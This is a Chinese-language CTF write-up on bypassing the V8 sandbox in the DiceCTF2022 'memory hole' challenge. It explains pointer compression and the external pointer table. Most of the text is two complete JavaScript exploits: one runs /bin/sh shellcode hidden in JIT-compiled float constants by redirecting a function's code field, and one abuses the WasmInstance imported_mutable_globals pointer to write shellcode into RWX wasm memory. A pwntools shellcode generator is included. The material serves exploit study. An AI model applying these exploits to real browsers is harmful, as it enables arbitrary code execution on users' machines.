本文完全参考 Jay1n
和 _sky123_
大佬文章:V8 沙箱绕过 和 Chrome v8 pwn,因此仅仅做记录方便日后查看,如果读者想更详细地了解该技术,请移步至上述参考文章
这里是以 DiceCTF2022 memory hole 题目为例展开的,出题者已经给了编译好的 d8
,这里就直接用了,就是调试不是很方便。该题直接给了一个修改 array.length
的能力,所以漏洞可以说是白给,主要的难点在于其开了 sandbox
:
diff --git a/BUILD.gn b/BUILD.g
index 4aeace7f59..f2362534c8 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -304,18 +304,18 @@ declare_args() {
# Enable the experimental V8 sandbox.
# Sets -DV8_SANDBOX.
- v8_enable_sandbox = false
+ v8_enable_sandbox = true
# Enable external pointer sandboxing. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS.
- v8_enable_sandboxed_external_pointers = false
+ v8_enable_sandboxed_external_pointers = true
# Enable sandboxed pointers. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_POINTERS.
- v8_enable_sandboxed_pointers = false
+ v8_enable_sandboxed_pointers = true
# Enable all available sandbox features. Implies v8_enable_sandbox.
- v8_enable_sandbox_future = false
+ v8_enable_sandbox_future = true
# Experimental feature for collecting per-class zone memory stats.
# Requires use_rtti = true
......
如果题目没有开启 sandbox
就非常简单了,直接 OOB
打 ArrayBuffer
即可构造任意读写原语,然后可以泄漏 libc
打 hook
或者直接打 wasm
的 rwx
区域。但是题目开启了 sandbox
,这使得构造任意读写原语不再简单。
64 位 V8
中使用了指针压缩
的技术,即将 64 位指针转为 js_base + offset
的形式,只在内存当中存储 offset
,寄存器 r14
存储 js_base
,其中 offset
是 32 位的。JS
对象在解引用时,会从 $r14 + offset
的地址加载。因此 js_base + offset
被限制在一个 4GB
的区域,无法访问任意地址。
如下,没有开启指针压缩
的 ArrayBuffe
r 内存布局:
开启后:
实际观察一下:
绕过指针压缩
的方法很简单,因为指针压缩
只对堆上指针使用,堆外指针不会压缩。ArrayBuffer
的 BackingStore
是个堆外指针,可以直接修改 BackingStore
为任意地址进而实现任意地址读写(其实之前也做过指针压缩的题目,详细可以见笔者之前的文章,注意区分一下文章中的 V8
堆和实际堆)。
指针压缩将读写的范围限制在了 4GB
之内,但是在 V8
中仍然存在一些对象其指针不指向 V8
对象,比如 ArrayBuffer
中的 BackingStore
指针,其指向一个堆地址,那么通过篡改这些指针仍然可以实现任意地址读写原语。那么沙箱的作用自然就是去限制这些指针的读写范围
沙箱的具体实现方式有两种:
ArrayBufferExtension
指针。在开启沙箱后,ArrayBufferExtension
存储的不再是堆地址,而是一个叫做 External Pointer Table
的表的下标,而在这个表的对应索引处存放着 ArrayBufferExtension
对应结构的地址和类型。这样攻击者就只能访问 ArrayBufferExtension
中存放的信息对应的结构而不能实现任意地址读写且不易实现类型混淆。BackingStorage
。在开启沙箱后 BackingStorage
指针存放的是 BackingStorage
地址与沙箱基址偏移(40bit)左移 24bit 的结果。这个方式和指针压缩相同(实际上基址也相同),只不过访问范围变为 1TB 。实际的调试结果如下图所示,注意 rwx
段不在沙箱中,因此利用 ArrayBuffer
无法将 shellcode
写入 rwx
段:
JSFunction
可以看到其存在一个 code
字段,其位于 r_x
页:
修改 code
字段为 0x41414141
:
继续执行,出现异常报错,此时 rcx
是 0x00001ee641414141 = 0x00001ee600000000 + 0x41414141 = $r14 + code
:
看这段汇编代码:
可以看到如果我们可以让 DWORD PTR [rcx+0x1b] & 0x20000000 == 0
成立,此时就会跳转到 rcx+0x3f
处执行。
劫持程序执行流
JS
函数的 JIT
代码存储在 JS
堆中,其基地址是固定的:
function f() {
return [1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(f);
f();
%OptimizeFunctionOnNextCall(f);
f();
%DebugPrint(f);
while(1) {}
所以这里可以利用字节错位来构造 shellcode
:
在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节,jmp
占两个字节,剩余 6 个字节就可以用来构造 shellcode
片段,最后通过 jmp
将 shellcode
片段组合成完整的 shellcode
。而每个立即数直接的操作都差不多:
REX.W movq r10, double_num
vmovq xmm0, r10
vmovsq [rcx + offset], xmm0 // 这条指令的长度可能会随着 offset 的变化而变化,注意一下即可
参考脚本:
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')
def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
"""
输出:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948
"""
具体看一下:
(gdb) job 0x238400044001
0x238400044001: [Code]
- map: 0x23840800263d <Map>
- code_data_container: 0x2384081d2831 <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x238400044001
Instructions (size = 344)
......
0x23840004409f 5f 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x2384000440a9 69 c4c1f96ec2 vmovq xmm0,r10
0x2384000440ae 6e c5fb114107 vmovsd [rcx+0x7],xmm0
0x2384000440b3 73 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x2384000440bd 7d c4c1f96ec2 vmovq xmm0,r10
0x2384000440c2 82 c5fb11410f vmovsd [rcx+0xf],xmm0
0x2384000440c7 87 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x2384000440d1 91 c4c1f96ec2 vmovq xmm0,r10
0x2384000440d6 96 c5fb114117 vmovsd [rcx+0x17],xmm0
0x2384000440db 9b 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x2384000440e5 a5 c4c1f96ec2 vmovq xmm0,r10
0x2384000440ea aa c5fb11411f vmovsd [rcx+0x1f],xmm0
0x2384000440ef af 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
0x2384000440f9 b9 c4c1f96ec2 vmovq xmm0,r10
0x2384000440fe be c5fb114127 vmovsd [rcx+0x27],xmm0
然后来看下构造的 shellcode
:
shellcode
构造完后就得想办法劫持程序执行流到 0x2384000440a1
了,即 rcx + 0x3f = 0x2384000440a1 = 0x238400044001 + 0x3f + 0x61 = old_code + 0x3f + 0x61
,所以只需要让 code + 0x61
即可,让我们有了读写的能力,我们可以先读取 code
的值,然后在将 code + 0x61
写回 code
。
这里的 0x61 不是固定的,具体调试便知
记一个 shellcode
(不知道是不是版本通用的):
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
/*
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
*/
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
exp
如下:
const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function d2l(x)
{
d_buf[0] = x;
return l_buf[0];
}
function l2d(x)
{
l_buf[0] = x;
return d_buf[0];
}
let hexx = (str, v) => {
log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};
function shellcode() {
return [
1.0,
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 0x100000; i++) {
shellcode();shellcode();
shellcode();shellcode();
}
var oob_arr = [1.1];
var victim = [2.2];
var obj_arr = [0xeade, 0xeade, shellcode, victim, oob_arr, oob_arr];
const LENGTH = 0x1000;
oob_arr.setLength(LENGTH);
var oob_idx = -1;
var flag = 0;
for (let i = 0; i < LENGTH - 2; i++) {
if (d2l(oob_arr[i]) === 0x0001d5bc0001d5bcn) {
if (flag == 0) {
flag = 1;
continue;
}
oob_idx = i + 1;
break;
}
}
if (oob_idx == -1) {
throw "FAILED to oob read shellcode function addr";
}
hexx("oob_idx", oob_idx);
hexx("oob func_offset|victim_offset", d2l(oob_arr[oob_idx]));
var victim_addr_offset = d2l(oob_arr[oob_idx]) >> 32n;
var shellcode_func_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
var oob_arr_addr_offset = d2l(oob_arr[oob_idx + 1]) & 0xffffffffn;
hexx("victim_addr_offset", victim_addr_offset);
hexx("shellcode_func_addr_offset", shellcode_func_addr_offset);
hexx("oob_arr_addr_offset", oob_arr_addr_offset);
var victim_idx = (victim_addr_offset + 8n - (oob_arr_addr_offset + 0x10n + 0x8n)) / 8n;
hexx("victim_idx", victim_idx);
oob_arr[victim_idx] = l2d(0x20000000000n|shellcode_func_addr_offset);
hexx("victim_length", victim.length);
var other_or_code = d2l(victim[2]);
hexx("other|code ", other_or_code);
var new_other_or_code = other_or_code + 0x74n;
hexx("other|new_code", new_other_or_code);
victim[2] = l2d(new_other_or_code);
//%DebugPrint(shellcode);
//while(1) {}
shellcode();
这里的 [rcx + 0x1b] & 0x20000000 = 0
这个约束搞死我了,尝试了很久,最后在参考文章中发现添加个 1.0
即可,反正我最开始添加 1.1、1.2
等都不满足条件。
尽管沙箱几乎把所有指针都压缩了,但依然存在一些 64 位的原始指针,可以尝试劫持它们来绕过沙箱。这里利用的就是 WasmInstance
对象的 imported_mutable_globals
指针,但是该方法在高版本不可行。
const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function d2l(x)
{
d_buf[0] = x;
return l_buf[0];
}
function l2d(x)
{
l_buf[0] = x;
return d_buf[0];
}
let hexx = (str, v) => {
log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};
var oob_arr = [1.1];
var victim = [2.2];
var fake_global_arr = [3.3];
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,
0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,
0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,
0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,
0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,
0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,
0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,
0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,
0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67]);
var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {js:{global}});
var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;
var obj_arr = [0xeade, 0xeade, 0xeade, victim, fake_global_arr, oob_arr, wasm_instance];
const LENGTH = 0x10000;
oob_arr.setLength(LENGTH);
var oob_idx = -1;
var flag = 1;
for (let i = 0; i < LENGTH - 2; i++) {
if (d2l(oob_arr[i]) === 0x0001d5bc0001d5bcn) {
if (flag == 0) {
flag = 1;
continue;
}
oob_idx = i + 1;
break;
}
}
if (oob_idx == -1) {
throw "FAILED to oob read obj addr";
}
hexx("oob_idx", oob_idx);
var victim_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
var fake_global_arr_addr_offset = (d2l(oob_arr[oob_idx]) >> 32n) & 0xffffffffn;
var oob_arr_addr_offset = d2l(oob_arr[oob_idx + 1]) & 0xffffffffn;
var wasm_instance_addr_offset = (d2l(oob_arr[oob_idx + 1]) >> 32n) & 0xffffffffn;
hexx("victim_addr_offset", victim_addr_offset);
hexx("fake_global_arr_addr_offset", fake_global_arr_addr_offset);
hexx("oob_arr_addr_offset", oob_arr_addr_offset);
hexx("wasm_instance_addr_offset", wasm_instance_addr_offset);
var victim_idx = (victim_addr_offset + 8n - (oob_arr_addr_offset - 0x8n)) / 8n;
hexx("victim_idx", victim_idx);
oob_arr[victim_idx] = l2d(0x20000000000n);
hexx("victim_length", victim.length);
var js_base = d2l(victim[9]) >> 8n;
hexx("js_base", js_base);
oob_arr[victim_idx] = l2d(0x40000000000n|wasm_instance_addr_offset);
hexx("victim_length", victim.length);
var rwx_addr = d2l(victim[11]);
hexx("rwx_addr", rwx_addr);
victim[9] = l2d((js_base|(fake_global_arr_addr_offset - 0x8n)) - 1n);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var wasm_code_pwn = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module_pwn = new WebAssembly.Module(wasm_code_pwn);
var wasm_instance_pwn = new WebAssembly.Instance(wasm_module_pwn);
var pwn = wasm_instance_pwn.exports.main;
obj_arr[3] = wasm_instance_pwn;
var wasm_instance_pwn_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
hexx("wasm_instance_pwn_addr_offset", wasm_instance_pwn_addr_offset);
fake_global_arr[0] = l2d((js_base|wasm_instance_pwn_addr_offset) + 12n * 8n - 1n);
var rwx_pwn = getGlobal();
hexx("rwx_pwn_addr", rwx_pwn);
fake_global_arr[0] = l2d(rwx_pwn);
setGlobal(shellcode[0]);
fake_global_arr[0] = l2d(rwx_pwn + 8n);
setGlobal(shellcode[1]);
fake_global_arr[0] = l2d(rwx_pwn + 16n);
setGlobal(shellcode[2]);
//%DebugPrint(wasm_instance);
//while(1) {}
pwn()